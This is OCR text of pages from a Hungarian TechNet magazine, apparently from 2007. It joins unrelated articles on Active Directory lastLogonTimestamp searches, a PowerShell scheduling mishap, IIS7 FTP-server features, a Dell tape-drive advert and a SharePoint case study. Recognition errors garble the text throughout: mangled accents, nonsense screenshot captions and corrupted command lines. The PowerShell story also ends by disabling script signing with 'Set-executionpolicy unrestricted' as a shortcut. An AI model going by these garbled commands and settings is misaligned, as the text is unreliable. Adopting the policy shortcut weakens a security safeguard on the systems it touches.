TIBOR Properties

Agtribute Editor | Sacurityl

Show mandatory attributes
Show optional attributes
Show only attributes that have values

Attributes:
Atribute Syntax Value ]
dMSHostName Unicode String  soostibor kfki.comp
fromEntry Boolean TRUE
instance Type Integer 4
isCritical SystemCbject  Boolean FALSE =
lastLogon Large Integer/...  128371758465170372
lastLogon Timestamp Large Integer/. . 128372506160973746
localPolicyFlags Integer 0
logonCount Integer 3
modify Time Stamp UTC Coded Ti... 2007.10.19.6:57:00
msDS-Approx-Immed-...  Integer 0
msDS-KeyVersionMu...  Integer 3
msDS-ReplAttibuteM...  Unicode Sting  <DS_REPL_ATTR_MET. 3
T b | n .

5. dbra. Az ADSIEdit datummegjelenitése nem éppen
bardtsagos

Ezt akdr az Active Directory Users and
Computers Custom Search-ével, vagy az
ADExplorer alabbi Search-feliiletével el6 le-
het dllitani:

.
% Search Container

Search for abjects with the following attrbutes
Cass: |- Common cimsses - v
Attribute |\alengr|T|mestamp v
Eelation: [is v
- |
|istLogon Timestamp<~128351730380373000)| Add [ Remoge |
Current Search Criteria:

Atrbute Relation Value

objectCategory is computer

lastLogonTimestamp  less than 128351730380973000
disinguishedName | objectCategory lastLogonTimeste 4

EJCN=SZILVASIATT... CN=Computer CN=Schema CN=Confi... 2007, 09. 24.951
SJCN-SZLHOMER... CN=Compuier CN=Schema.CN=Confi...  2007. 09. 24.7:27
[EJCN=BARSONYPE... CN=Computer CN=Schema CN=Confi.. 2007 09. 23.9:12 ¥
< I | >

6. dbra. A szamunkra érdekes gépek keresése

Az ADExplorer praktikussaga abban is
megmutatkozik, hogy az eredménylistaban
rogeon latjuk a keresett attributumot, ra-
adasul intelligensen rogtéon datumma kon-
vertalva, igy konnyebb is ellenérizni a lekér

dezéstinket.

Soés Tibor
(soost@igjb.hu)
MCT, IQSOFT — John Bryce Oktatokazpont

Tovabbi informdcidk

http;//www.microsoft.com/technet/scriptcenter/
topics/win2003/lastlogon.mspx
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Kalandok a PowerShellel.

ekem jutott egy feladat: szamoljam

Ossze egy tartomanyvezérlén, hogy

naponta hany bejegyzés kertil a se-
curity logba.

Nyilvdn sokféleképpen neki lehet ugrani
a munkanak, szerencsére a DC 2003-as, te-
hat felmegy r4 a PowerShell. Maga a szkript
nem nagy ugy.

Na de ezzel szemben mekkora kaland volt
a beidozitése!

A parancssorok ugyanis rendben lefutot-
tak a shellen beliil - de ha be akartam tenni
a scheduled jobok kozé, akkor egy batch-fajlt
kellett alkotnom. Nyitottam egy .txt fajlt,
a PowerShellbsl egyenként atmdasoltam a
sorokat (bemeszel, enter, ctrl+v), majd az
egészet elmentettem eventloggery.psl néven.
Ezutdn, ahogy a nagykényvben meg van ir-

va, el is inditottam:

c:\windows\system32\windowspowershel\v1.0\
powershell.exe -command , ‘c:\user\joep\mel6\
eventlogquery.psl”

Lefutott. Ereztem, mennyire siivit fillem
mellett a levegd, ahogy oles léptekkel haladok
elére. Most mar csak ezt a meglehetésen komp-
likalt parancsot kell betenni egy .cmd fajlba,
hogy ne legyen baj az titemezett feladat indita-
sandl a paraméterrel. Krealtam egy tjabb .txt
fajlt, bemeszeltem a command promptban a
szdveget... Azaz bemeszeltem volna, csakhogy
ez blokkmodban meszelt, az én sorom meg
elég hosszt volt ahhoz, hogy megtorjon. Eh,
mit nekem - legyintettem, és bemeszeltem az
egész blokkot, majd beledobtam a .txt fajlba,

és elmentettem startquery.cmd néven.

Total Commander, kovér enter a .cmd
fajlra. Nem tortént semmi. Ilyenkor jon az,
hogy megprobaljuk a programot command
promptbol inditani, hogy lassuk, mi is a hi-
batizenet.

Cmd, begaloppoztam a szkriptkonyvtar-
ba, startquery.cmd. Erre felugrott egy ablak,
hogy ,Sajnalom, de a powershell.exe nem
Windows-program.” Htitha! Mi tértént?

Nézziik ugyanezt a Start Mentibsl! Ugyan-
ez. Marmint a vélaszablak is. Akkor épp itt
az ido, hogy vessiink egy pillantast arra az
.exe-re.

Nulla. Egy nagy nulla a powershell.exe
mérete. Fejvakards. Na de mér, tényleg mar...
hat ilyen azért nincs. Oké, nem vagyok egy
programozozseni, de azért ez a szkript nem
volt annyira rossz, hogy a shellnek el kellett
volna menekiilnie a géprol.

Most hagyok egy kis idét gondolkod4sra,
hogy mi is torténhetett.

Persze én sem jottem ra egybol.

Elgondolkodtam. Mit is futtattam? A
startquery.cmd-t. Oké¢, oké... de abban mi is

volt pontosan? Ez.

C:\Rskit\Tools>c:\windows\system32\
windowspowershel\v1.0\powershell.exe -command
»-c\user\joep\meld\eventlogquery.psl”

Lithato, hogy a blokk alaptt mésol4s miatt
benne maradt a parancssori konzol prompt-
ja. De mi torténik, ha ezt a promptot pa-
rancsként értelmezem? Van ugye egy konyv-
tarnév (C:\Rskit\Tools), egy kacsacsor(!!!)
és a powershell.exe teljes utvonalastul, meg

utdna némi paraméter.

(= microsoft.powershell.consolehost-diFhelp
[#] microsoft.powershel.security.di-help

[ powershel.exe

[ powershelicore. format
Rpowershe\ltrace.forrr‘at
%l pwrshmsa

xrrl 14 558 2006.09.08 10:28 —
xml 120 106 2006.09.08 10:28 —
axe 0 2007.09.14 11:20-3
mui 9 216 2006.09.29 09:14 —
pslxml 65 283 2006.09.08 10:28 —|
psixml 13 394 2006.09.08 01:28 —
dll 4 608 2006.09.29 09:14 —

Vajon mitél lett 0 a PowerShell.exe mérete?

Ez bizony azt csinalta, hogy a konyvtarnév
mint parancs tires kimenetét belemasolta a
powershell.exe f4jlba. Keményen.

Szerencsére nem ez a gép vezérelte a paksi
atomerémuvet, igy végul beletdrodtem: hi-
lye voltam, sebaj. Némi tovabbi kiizdelem
aran feltettem ujra a PowerShellt.

Meg voltam gyézddve réla, hogy innentdl
minden simén fog menni.

Persze nem lett igazam. Startquery.cmd ->
error. Nem taldlja a paraméterként atadott
szkriptet. Belenéztem megint a parancsfijlba,
minden oké. Gyors ellendrzés: a szkript ott
van. Akkor? Beletelt egy kis idobe, mire esz-
méltem: a szkript elérési utvonalidban van egy
’¢’ betfi. Ez a notepadben tokéletesen mutat,
de a parancs futtatdsakor mar dtalakul vala-
mi kriksz-krakssza. Nem részletezem: meg-
probédltam mindenféle médon elmenteni a
parancsfajlt, megproébalkoztam  tdbbszorods
idézojelezésekkel, de semmire sem mentem
vele. Végiil fogtam a szkriptkonyvtarat, és ki-
penderitettem a c:\ gyokér ala.

Gondoltam, most mar tényleg futnia kell
a nyomorultnak. De nem futott. Kiirt egy
hibatizenetet. Egész pontosan azt, hogy a
PowerShell sajnos képtelen szkriptet futtat
ni. Valoszintileg maskor jot kacagtam volna
ezen a poénon, de akkor mir nem igazan
voltam vicces kedvemben. Révid nyomo-
z4s utan kideriilt, annyi az 6sszes baja, hogy
nem irtam ald a szkriptemet. Valahol érthe-
t6. Mint ahogy az én reakciom is: inkabb
gyorsan kikapcsoltam a védelmet. Set-exe-
cutionpolicy unrestricted... és kész. Most mar
tényleg lefutott a startquery.cmd, lehetett
idéziteni.

Zarszoként mit is mondhatnék: nem érde-
mes lefuttatni a shell promptjat. Nem olyan
jo otlet, mint ahogy elsore latszik.

Petrényi Jozsef
Exchange MVP, MCSE+M, MCITP
(petrenyi.jozsef@sao.hu) SAO-Synergon

Microsoft TechNet
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A Windows Server 2008-ban elérheté FTP-kiszolgdlé szdmos fontos
Ujitast tartalmaz — ezeket tekintjik &t ebben a cikkben.

z FTPkiszolgalo igencsak mostohagyermek volt az II1S-csalddban. A fejlesztés f6 csa-

pasiranydt a webkiszolgdlo adta, az FTP kérdését egy eléggé alacsony kategorids szerver

litta el. Most, a Windows Server 2008-ban szerencsére az FTP-kiszolgdlo jelentdsen
megerdsodve kertlt ki a fejlesztok keze kozul.

El6szor is tisztazzuk, mire hasznaljak az emberek az FTP-szervertiket. Az FTP fajlok megbiz-
hato és hatékony dtvitelére van kitalalva. Gyakran egyiitt hasznaljak egy webkiszolgaloval, igy
a weben lathat tartalmat FTP-kapcsolaton keresztiil frissitik. Ehhez elengedhetetlen, hogy a
csatorndn athaladé adatok és vezérldadatok (mint felhasznloi informaciok) titkositva legye-

nek. Ezt is biztositja az FTP/SSL-protokoll timogatasa. Nézzitk meg kozelebbrol!

Az FTP-publikalast éppugy hozza lehet rendelni egy adott konyvtarhoz, mint ahogy eddig a
HTTP-t vagy HTTPS-t. Azaz ugyanazt a tartalmat hozzaférhetdvé tehetjiik a webes latogatok
szamara is, és frissiteni is tudjuk FTP-n keresztul (1. dbra).

A publikalas masodik lépésében a hitelesités és a jogosultsagkezelés alapvetd jellemzoit al-

lithatjuk be (2. dbra). Ezeket késdbb sokkal részletesebben is szabalyozhatjuk.

& Internet Information Services {IIS) Manager

@._, | @ » WinEP2vBIVION ¥ Stes b DefatviebSte @ e

rile  view liep
Az FTP-protokoll TSI @ Default web Site Home B s

T sotPom [ada r1e site Publishing

- y s - Groupby: Area g
egyik legproblémé. ; e 0 inding and 53 settings
. )
sabb pontja, hogy I A, -
. s it Nermissions. . [feress | —Binding
sem a hitelesité- el [ o
2 pplcation.. o | [l tnassigned =] fr
si informaciokat, B rvnnm. (¢ ——
Edit Bindings. lappine | ||
sem az adatokat rosee b | | e faarzman
. L. [ Refresh odde ¥ Stork ETD s sutemabicaly
nem titkositja, azaz - [ i
L, 4 FTP Publishing. . 551 Certfcate:

tervezésénél fogva = B oo e
nem biztonsdgos. e L
Ezen segithet egy | I
kiegészitd  titkost L A e e
td csatorna, amely- R i

re jelenleg kétféle 1. dbra. Website kizzététele FTP-protokollon keresztiil is
alkal-

mas. Az SFTP elsésorban nyilt forrast kornyezetben hasznalatos, kevésbé szabvanyositott,

megoldas

nem tanusitvany alapu, és nehéz konfigurdlni, hogy csak fajlmasolasra haszndljak, telnet jel-

legti médon nem.

[Add FTP Site Publishing [21x]
‘ Authentication and Authorization Information

I anonymous
I Basic

Allow access to:

ot Selected B

| I | [ | |

2. dbra. Hitelesités és jogosultsagok nagyvonali
szabélyozdsa

Ezzel szemben az FTP/SSL vagy roviden
FTPS egyszertien az eredeti FTP-protokollt
hasznalja, csak azt ratlteti egy SSL-csatorna-
ra. A Microsoft ez utébbit implementalta az
[1S7-ben.

Az 1IS7 FTPkiszolgaldjaban szabalyozhat-
juk, hogy a kiszolgalo terhelése vagy a lazdbb
biztonsag irdnyaba hangoljuk-e a szerveriin-
ket. Ha csak a vezérldcsatornat titkositjuk,
akkor a felhaszndldi név, jelszo, fajlnevek stb.
nem lesznek lathatéak a droton, de az atvitt
fajlok igen. Ez elég jo kompromisszum, ha
nem érzékeny természetti adatok vannak a
fajlokban.

Ennek az tizemmodnak az egyik viltoza-
ta, hogy csak a hitelesitési informaciokat
szeretnénk titkositani, a fijlok atnevezését,
konyvtarak listazast, tehat az egyéb paran-
csokat nem.

Bekapcsolhatd, hogy az adatcsatorna is
titkositva legyen, ez jelentds terhelést okoz
a kiszolgalonak és az tgyfélprogramnak is,

de cserébe az adatok valoban biztonsigban
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3. dbra. Titkositdsi bedllitdsok az adatcsatorndra és a vezérlé csatorndra

5. dbra. A két oj felhaszndléiadathdzis-szolgdltat
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4. dbra. Az FTP-protokoll binding bedllidsaival kevesebb IP-cimre van sziskségiink,

mint ahdny site-ot ki akarunk szolgdlni

utaznak. Nemcsak, hogy nem lehet dket lit-
ni, de a roptében torténd modositas ellen is
védettek, koszonhetden az SSL-nek.

Az adatcsatorna titkositdsat meg is lehet
tiltani, igy ha az FTP-kliens igy akar bejon-
ni, lepattan a szerverrél. Ennek nyilvanvalo
haszna, hogy védjiik a kiszolgalo értékes ero-
forrasait a tulbuzgdan paranoiss tigyfelektdl.

Mindebbol kovetkezik, hogy az tgyfél-
programnak is van elképzelése a titkositasi
szintrol, és a kiszolgalonak is. Csak ha a ket-
t6 fedi egymadst, akkor lesz sikeres az adatok
atvitele.

Az elobbi lehetéségeket figyelhetjitk meg

a 3. dbrdn.

Webkiszolgdloknal megszokott dolog, hogy
egy IP-cimen tobb webes tartalmat is publi-
kalunk. A bongészok mindig elkiildik egy
HTTPAejlécben, hogy melyik névvel hivat

6. dbra. Az IIS Management Service, amely az FTP-kiszolgalé sajat felhaszndléinak

kezeléséhez szitkséges (és nem utolsésorban a tévoli adminiszircihoz is)

kozott a szorfozd a website-ra, igy a kiszol-
gald egy IP-cimen sokféle tartalmat képes
kozzétenni.

Hogy érthetobb legyen, tegyiik fel, hogy a
www.alma.hu és a www.korte.hu is ugyanazzal
az [P-cimmel, mondjuk, 100.101.102.103-mal
van regisztrdlva a DNS-ben. A bongészdbe be-
irjuk, hogy www.alma.hu. A bongészé a DNS
segitségével feloldja a nevet az [P-cimre, és csat-
lakozik a kiszolgdlod 80-as portjara. HTTPAej-
lécben elkiildi, hogy melyik site érdekli:

Host: www.alma.hu.

A kiszolgalo megnézi, hogy milyen tartalmat
kell neki kiadnia erre a névre, azaz van egy
tabldzata hostnév és webalkalmazasok helyi
konyvtara parosokkal. Példdul a www.alma.
hu a C:\inetpub\alma cimre képzodik le, in-

nen olvassa fel és értelmezi a kért allomanyt.

Pontosan ugyanez a modszer mukodik
FPT site-okra is az [IS7-ben, mint ahogy az a
4. dbrdn is lathato.

Sokfelhasznalos FTPkiszolgalok esetén az
egyik legkritikusabb pont a felhasznalok és jo-
gosultsagok kezelése. Korabbi IIS-verziokban
csak az NT Security-adatbazis vagy az Active
Directory szolgélt felhasznaléi adatbazisként,
azaz csak Windows-hitelesitéstink volt.

Ez intranetes kdrnyezetben kézenfekvo vi-
lasztas, hisz a felhasznalok ugyis részei a tar-
tomanynak. Internetes kdrnyezetben viszont
nem szivesen vesziink fel uj felhasznalokat
a Windows adatbazisiba, csak hogy hozza
tudjanak férni az FTP- vagy a webszerverhez.
Ebben az esetben valamilyen alternativ fel-
hasznaloi adatbazisra van sziikségiink, leg-
gyakrabban valamilyen reldcios adatbdzist

szoktunk erre a célra haszndlni.
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o Unassigned | [e17z
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W' Log requests to:
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1Pv4 Address Restrictions
Access for unspecified cients:
[allow v

tode T Requestor | algw |

7. dbra. A Management Service bedllitdsa,
hogy 11S-felhaszndlokat is haszndlhassunk

Mint az 5. dbrdn is lathato, 1IS7-ben az
Anonymous ¢és a Basic (azaz Windows ala-
pa) hitelesités mellett van két wj is. Az
lisManagerAuth egy kdézponti konfiguracios
allomanyban, az administration.configban
tarolja felhasznalokat.

Hogy a felhasznaloi feluletrol is kezelhes-
stik Sket, a 6. dbrdn lithaté modon fel kell
telepiteni a Management Services-t, alapban
ez nem teleptl fel.

Ha mar van Management Services-iink,
akkor be kell kapcsolni, hogy az IIS sajat hi-
telesitését is szeretnénk hasznalni (7. dbra).

A felhaszndlok kezelésére van felhasznalo
feltlet, a 8. dbrdn lathaté médon vehetiink
fel sajat I[IS-felhasznalokat.

Felhasznaloink az administration.config-
ban tarolodtak.

A masik uj felhaszndloi adatbazisunk az
AspNetAuth nevt provider, amely az ASP.
NET felhasznaloi adatbazisdra épiil, ame-
lyet ott Membershipnek hivnak. Ebben az
a nagyszerti, hogy egy website valoszint-

leg ugyanezen felhasznalok alapjan engedi

<system.webServer>
<management>

a hozzaférést a védett webes tartalomhoz is,
igy egy fiist alatt konny( beallitani, hogy a
regisztralt felhasznaloknak FTP-hozzaférése
is legyen a kivant tartalomhoz.

Példaul egy fotokidolgozod website-on re-
gisztralva azonnal nekifoghatunk feltolteni a
nagyitando képeket, mert az FTP-kiszolgalo
felhasznalhatja a website felhasznaloi adat-
bazisit.

Emellett még sajat szolgdltatokat is irha-
tunk, de mivel az ASP.NET Membership ele-
ve konnyen bévithetd, lehet, hogy érdeme-
sebb azt kiboviteni, majd aldrakni az FTDP-
kiszolgalonak. Igy példaul irhatunk (vagy
letslthetiink) Membership providert Oracle-
adatbézishoz, amellyel az FTP-szerver is auto-
matikusan hasznalhatja az Oracle-tabldkban

tarolt felhasznalokat.

Az elobbiekben targyalt IIS sajat felhasznd-
loi az adatbazisat alapvetden azért hoztak
létre, hogy ne csak Windows-rendszergazdak
konfiguralhassak a webkiszolgalot, hanem
Windowsban egyaltalan nem definidlt fel-
hasznalok is képesek legyenek tavolrél becsat-
lakozni az 1IS7-re, és egy [IS-felhaszndloval és
+elszéval hitelesitve adminisztralni csak a sa-
jat siteukat vagy virtualis konyvtarukat.
Ehhez XP ¢s ujabb Windowsokhoz le le-
het tolteni az [IS Managert, ami egy Win-
Forms adminisztracios feltlet, pont tgy néz
ki, mint az eddig is litott IIS Manager.
Titkositott csatorndn (HTTPS) keresztiil
csatlakozhatunk a kezelend6 webkiszolgalo-

hoz, azon beliil site-hoz vagy alkalmazashoz.
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ASP.NET hasonlé rendszeré- Ready

9.

vel. Felhaszndloknak vagy fel-
hasznalokbol képzett csopor-
toknak lehet engedélyezni vagy tiltani a hozza-
férést, hacsak nem engediink be mindenkit az
Anonymous opciéval (9. dbra). Természetesen
a jogokat konyvtiranként lehet allitani, nem-
csak a teljes szerverre vagy site-ra.
Csoportokat csak Windows-hitelesités és
ASPNET Membership esetén hasznalha-
tunk, az IIS sajit hitelesitésében nincs cso-

portkezelés.

<authentication defaultProvider="ConfigurationAuthenticationProvider”>

<providers>

<add name="ConfigurationAuthenticationProvider” type="_...ConfigurationAuthenticationProvider, ...” />

</providers>
<aedentials>

<add name="frakk” password="CF43E029EF. . .10C2EAEAB110B82" />
<add name="szerenke” password="CF43E029EFE6476. . .(2EAEA5BB2” />

</credentials>
</authentication>

Felhaszndléink az administration.confighan tarolodtak

8. dbra. Sajdt I1S-felhaszndlok kezelése

Tehat még egyszer, nem RPC alapu a kapcso-
lat, mint eddig, és nem csak adminok kon-
figuralhatjak az IIS-t, hanem minden egyes
site-hoz vagy alkalmazashoz ki lehet nevezni
sajat adminokat, amelyek csak az adott szin-
tet képesek kezelni. Ez igen nagy elorelépés a
sokfelhasznalos helyzetekben, mint példaul

a megosztott hosting kornyezetben.

A végére dmlesztve tdlalok egyéb hasznos
vjitasokat.
A fajlnevek UTF-8-ban jonnek vissza, nem
lesz gond az ékes magyar karakterekkel.
A konyvtarlistakban szabalyozhatd, hogy
latszanak-e a virtudlis konyvtarak. Eddig
nem latszottak.
Tamogatja a szerver az [Pv6-ot.
Kibovitették a naplozast, gond esetén ez
sokat segithet (szerintem az SSL-timoga-

tas fog majd sok fejtorést okozni).
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9. dbra. Felhaszndlk és csoportok jogainak szabdlyozdsa

Beallithato, hogy a felhasznalok a gyokér-
konyvtirat lassak, vagy a sajat konyvtd-
rukban talaljak magukat, ha belépnek a
kiszolgalora, illetve kiléphetnek-e a sajit

konyvtarukbol a globdlis helyekre.

A 10. dbrdn lathato modon sok egyéb ap-
rosag is szabalyozhato, példdul, hogy a fé-
lig feltsltott tartalmat megtartsa-e a szer-
ver, hatha késobb folytatjuk a feltoltést.

Passziv kapcsolathoz beallithato, hogy mi-

csatorndt a kiszolgald, illetve hogy mi a
kiils¢ IP-cime a tlzfalnak. A tlzfalgazdak
ortilni fognak ennek az uj beallitasnak.
Socz6 Zsolt

ASP.NET MVP, MCSD, MCDBA, MCT

http://soci.hu

Research Engineer, Qualification Development
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DAL Az adat soha ne vesszen el!

A Dell volt az elsd a piacon, aki
bemutatta az Gjgeneracios LTO-4
szalagos mentesi technologiat.

DELL - Uj generacids szalagos mentési megoldasok

A szalagos mentés donto szerepet jatszik manapsag a tarolasi és mentési tervek kidol-
gozasa soran; idedlis megoldast biztosit tarolasi és archivalasi folyamatokra.

Az LTO-4 technoldgia bizonyitottan minimalis kockdzatot, magas szintl megbizhaté-
sagot és rendelkezésre allast biztosit megfizethet6 aron!

A Dell volt az elsd a piacon az LTO-4 technoldgiaval; megoldasokat kindl a kis vallalko-
zasok részére, egészen az adattarold kdzpontokig. Ez az Uj meghajtéd az elso a kategori-

ajaban, mely eszkoz szint( titkositast kinal.

Duplazza meg mentési kapacitasat és csokkentse az adattarolasat a PowerVault™ LTO-
4-120 meghajtok és konyvtarak segitségével!

PowerVault™
LTO-4-120 szalagos meghajté

Felilmulhatatlan teljesitmény és
kapacitas

- Kapacitas: 800 Gb nativ

- Teljesitmény: adatatvitel 120
MB/sec

- Biztonsagi jellemzok: WORM
(Wright-Once-Read-Many), eszkoz
szint( titkositas

- Interfész: SAS 3 GB/s, FC 4 GB/s

Iparagi standardok

Az elsd LTO meghajtéd
eszkdz szint( titkositassal

Az LTO-4 az elsd szalagos mentési
technoldgia, mely lehetové teszi az
eszkoz szint( titkositast, csokkentve
a kockazatat az engedély nélkuli
belépéseknek az lizleti szempontbdl
kritikus adatokhoz. A kazetta
hordozhatésaganak kdszonhetden,
gyakran koézponttdl tavol (off-

site) taroljak, a PowerVault™ LTO-4
megoldasok egyarant védelmet
biztositanak helyszini (on-site) és egyéb
(off-site) adatvesztés ellen.

PowerVault™ LTO-4-120
szalagos meghajté

584.800 Ft

PowerVault™ TL2000 LTO-4
szalagostar

955.000 Ft

Standardizalt LTO technoldgia biztositja a kompatibilitast visszamendleg és a jovore vonatkozdan is, valamint a szallité semle-
gességet. Az LTO-4-120 kompatibilis az LTO-3 technolégiaval (olvassa és irja is az LTO-3 mentéseket), illetve olvasaskompatibilis

az LTO-2 mediaval.

Tovabbi informaciot a (06 1) 270 7614-es telefonszamon, a dell_sales@humansoft.hu
e-mail cimen vagy a www.humansoft.hu és a www.dell.hu weboldalon kaphat.

©DellComputerCorporation.Ajelenhirdetésbenszereplo eszk6zok, arak, specifikaciokmegfelelnekavaldsagnak, deavaltoztatasjogatfenntartjuk. ADell, Delllogé, PowerEdge,
Latitude, Optiplex védjegyek vagy regisztralt védjegyek a Dell Computer Corporation tulajdona. Az aldbbiak az Intel® Corporation vagy lednyvallalatai az Egyesiilt Allamokban
vagy mas orszagokban hasznélt vagy bejegyzett védjegyei: Celeron, Celeron Inside, Centrino, Centrino Logo, Core Inside, Intel®, Intel® Logo, Intel® Core, Intel® Inside, Intel®
Inside Logo, Intel® Viiv, Intel® vPro, Itanium, Itanium Inside, Pentium, Pentium Inside, Xeon, Xeon Inside. Ajanlatunk 2007. december 31-ig, illetve a készlet erejéig érvényes!
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SHAREPOINT:
TARTALOMKEZELO
RENDSZER
A RICHTERNEL

A Richter 2006-ban hatérozta el, hogy megujitia honlapjanak

arculatdt, és a ldtogaték szdmara nyuijtott szolgdltatdsok korét

béviti a kor elvérasainak megfeleld szolgaltatasokkal.

CélkitGzés volt az is, hogy a legfontosabb lednyvéllalatok

szamara is U weboldal készilion.

mutatni. Nehéz ugy hireket hallgatni, ujsagot olvasni vagy akar reklamot nézni, hogy

! zt gondolom, hogy a Richter Gedeon Gydgyszergyarat idehaza senkinek sem kell be-

ne talalkozzunk valamilyen vonatkozasban a gydgyszeripari oridssal. Talan kevesebbet
tudunk a cég kulfoldi aktivitasarol, pedig vilagszerte szimos leanyvéllalat, érdekeltség tartozik
a gyogyszergyarhoz. Térségiinkben ezek koziil a lengyel, az orosz és a roman leanyvéllalat a leg-
jelentdsebb. Torténetiink fészerepldi éppen 6k: anya és leanyai.

Miutdn a honlap mogote 4llo rendszer tobb évvel korabban késziilt Microsoft Content
Management Server alkalmazdsdval, ezért éppen alkalmas iddben sziiletett meg a dontés a vil-
tasrol, hiszen ebben az idépontban éppen ,,csdben volt” a legkorszertibb technologidkat felvo-
nultato Microsoft Office SharePoint Server 2007 (MOSS 2007) megjelenése.

A dontést tett kovette, és a megfeleld dizajn elkészitése mellett - amelyet egy profi arcu-
lattervezd cégre bizott a Richter - az egyik elso feladat az volt, hogy kivalasszdk azt a part
nert, amelyiket a leginkdbb alkalmasnak taldlnak a célok megvalositdsara. A kivalasztasban
a Richternek a Microsoft Magyarorszdg is segitséget nyujtott. A szempontrendszerben nagy
szerepe volt az adott cég szakmai tapasztalatanak a SharePoint alapu rendszerek teriiletén, il-
letve dltalaban a webes tartalomkezelés megvalositdsaban. A céges referenciak mellett sokat
nyomott a latban a nevesitett szakemberek onéletrajza, szakmai multja, példaul az elért mingd-
sitések is.

A kivélasztasi folyamat végén tobb jelentkezd kozil a Richter a Grepton Zrt. ajanlatat itélte
a legjobbnak. Ennek nagyon oriiltiink, mivel a 2001-es és 2003-as SharePointverzié kapcsan

GReEPTOM
INFORMATIKAI ZRT.

szerzett tapasztalatainkra épitve a MOSS
2007-tel is mar a masodik bétafazis ota inten-
ziven foglalkoztunk. Ugy éreztiik, végre egy
valéban komoly projekten kamatoztathatjuk
az eddig foleg tesztlaborban vagy kisebb fel-
adatokon kiprobélt ismereteinket.

Azt mir a bétaval vald ismerkedés so-
ran is hamar sikertlt realizdlni, hogy ez a
SharePoint bizony joval tobbet tud elddjei-
nél, igy példaul az indulasnal kifejezetten jol
jottek a Content Management Server kap-
csan évekkel korabban végzett kutatisaink.
Sajnos a termék kapcsdn kezdetben rend-
kiviil szegényes dokumenticio 4llt rendelke-
zésre, igy - akéar a nagy foldrajzi felfedezdk
- Gjra és Gjra atélhettiik a felfedezések, a ra-
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csodalkozas méassal 6ssze nem keverhetd ér-
zését. Ebben az id6szakban a kisérletezés és a
Reflector mellett csupan néhany lelkes blog-
ger publikicidjara tdmaszkodhattunk, ha a
valédi technikai mélységekre, Osszefliggések-

re voltunk kivancsiak.

Ember tervez

A szerzédéskotés korili jogi procedurak le-
zérasaval 2006 végén elindulhatott a mun-
ka. Természetesen mar az ajinlat eldkészi-
tése soran alaposan elmélyedtiink a pontos
igények felmérésében, megterveztiik, melyik
problémara milyen SharePoint-eszkdzzel le-
het optimalis megoldast adni, sot a legkriti-
kusabb funkciokra deszkamodelleket is készi-
tettiink. Ezzel biztositottuk egyfelél azt, hogy
a Richter igényei a gyakorlatban is megoldha-
tok a kivalasztott eszkozzel, masrészt magun-
kat is védtiik, nehogy olyat villaljunk, amirsl
késobb kidertil, hogy technikailag nem, vagy
csak a tervezett raforditdsok jelentds atlépé-
sével lehet megvalositani.

A korabbi egyeztetések eredményeit fel-
hasznalva a megval6sitds az igények és az erre
épiild tervek dokumentaldsaval kezdodott. A
mi feladatunk elsésorban az alkalmazasspe-
cifikus funkciok megtervezése volt.

A tervezés soran kellett definidlni tob-
bek kozott a weblap oldalstrukturajat, a fel-
hasznalhaté tartalomtipusokat és az ezekhez
tartozé oldalsablonokat (példaul értelemsze-
riien kiilon elrendezést kaptak az altalanos
cikk mellett a sajtokozlemények, az dllas-
hirdetések és a termékadatlapok), valamint
a rendszer dltal kikilldend6 értesitd levelek

tartalma.

Testre szabds és/vagy fejlesztés

A tervezés soran tobbszor keriltiink olyan

dontési helyzetbe, ahol arrdl kellett hataroz-
nunk, hogy egy adott funkciot a SharePoint
beépitett eszkozeivel vagy egyedi fejlesztéssel
oldunk-e meg. Ilyenkor legtobbszor igyekez-
tiink kompromisszumos megoldasokra tore-
kedni. Amennyiben az igényelt funkcié meg-
engedte, torekedtiink az igényt a termék test
re szabott képességeihez igazitani. Viszont ha
a funkcio a szitkséges mértékben nem idomul-
hatott a képességekhez, nyitottak voltunk az
egyedi megoldasokra is. Mivel a projektcsapat
alapvetden fejlesztoi hattérrel rendelkezo szak-
emberekbél dllt ¢ssze, nem okozott szimunk-

ra lelki torést, ha egy probléma megoldasa-
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hoz el kellett inditanunk a Visual Studiot.
Igyekeztiink viszont kertilni az éncéla, lart
pour lart jellegi fejlesztéseket, mivel hissziik,
hogy a beépitett eszkodzok ismeretével, haszna-
lataval révidebb id6 alatt, koltséghatékonyabb

modon, stabilabb eredményt lehet elérni.

Infrastruktora-kialakitds Microsoft-
segitséggel

Az infrastruktara tervezését a Richter IT-
szakembereinek bevonasdval a projekt sordn
mindségbiztositasi szerepet is betdltd Micro-
soft Magyarorszag szakértdi végezték, termé-
szetesen mindvégig konzultilva veliink arrol,
hogy az egyes alternativik hogyan érinthetik
a rendszer tervezett funkcidit.

Veégiil a kovetkezd infrastrukturajavasla-
tot fogadta el a megrendels. A bels¢ halo-
zaton kap helyet a szerkesztéségi rendszer
funkciojit ellatd MOSS 2007. Ebben a kor
nyezetben hozzak létre az uj oldalakat a
szerkesztéségi dolgozok, itt toltik fel a kap-
csolodd képeket, dokumentumokat. A hon-
lap ,arca”, azaz a webes latogatok szimdra
elérheté publikicids rendszer egy masik, a
DMZ-ben elhelyezett MOSS 2007-példany.
A tartalmak szinkronizaciojat a két rendszer
kozott a SharePoint beépitett content deploy-
ment szolgéltatdsa biztositja automatikusan.
A két kornyezet két kilon tartomanyt is je-
lent, amelyek a levelezés tamogatasdra sajat
SMTP., illetve Exchange-szerverrel rendel-
keznek. A rendelkezésre 4llas biztositdsira a
DMZ-be kertilt egy hideg tartalékrendszer is.
A tartalom atmozgatasa erre a rendszerre a
Microsoft Magyarorszag szakértoi altal kidol-
gozott modszerrel torténik.

Az anyavillalati és a leanyvéllalati honla-

pok kiilon SharePointalkalmazasként valo-

sultak meg. Ez egyfeldl fiiggetleniti az egyes
rendszerek élesbe allitdsat, és - bar jelenleg
kozos hardveren futnak - a jovoben egysze-
riibbé teszi az eléforduld terhelésnovekedés
esetén az egyes webhelyek dtmozgatdsat ki-
lon hardverre, egyszéval skaldzhatéva teszi
a rendszert.

Tekintettel a tervezett élesbe allitdsi fo-
lyamatokra, kidolgoztunk egy olyan munka-
modszert, amely lehetévé tette a parhuza-
mos fejlesztést, tesztelést és éles tizemet. Az
ehhez szitkséges infrastrukturat a Richter
biztositotta. Ennek megfelelden elkésziilt a
teljes éles rendszernek egy-egy masolata fej-
lesztoi, illetve tesztkdrnyezetként. A fejlesztoi
rendszert, amely az éles rendszeren tapasztalt
problémdk javitdsinak szintere, egyuttal az
Uj funkciok telepitésének els¢ lépcséje, mi
tartjuk karban a Richter szakembereinek t4-
mogatasdval. A tesztrendszeren konfigurd-
ciomodositast, telepitést mar csak a Richter
lizemeltetési szakemberei végezhetnek az dlta-
lunk kiadott leirdsok alapjan. Itt zajlik a do-
kumentalt tesztelés. Amennyiben a kiadott
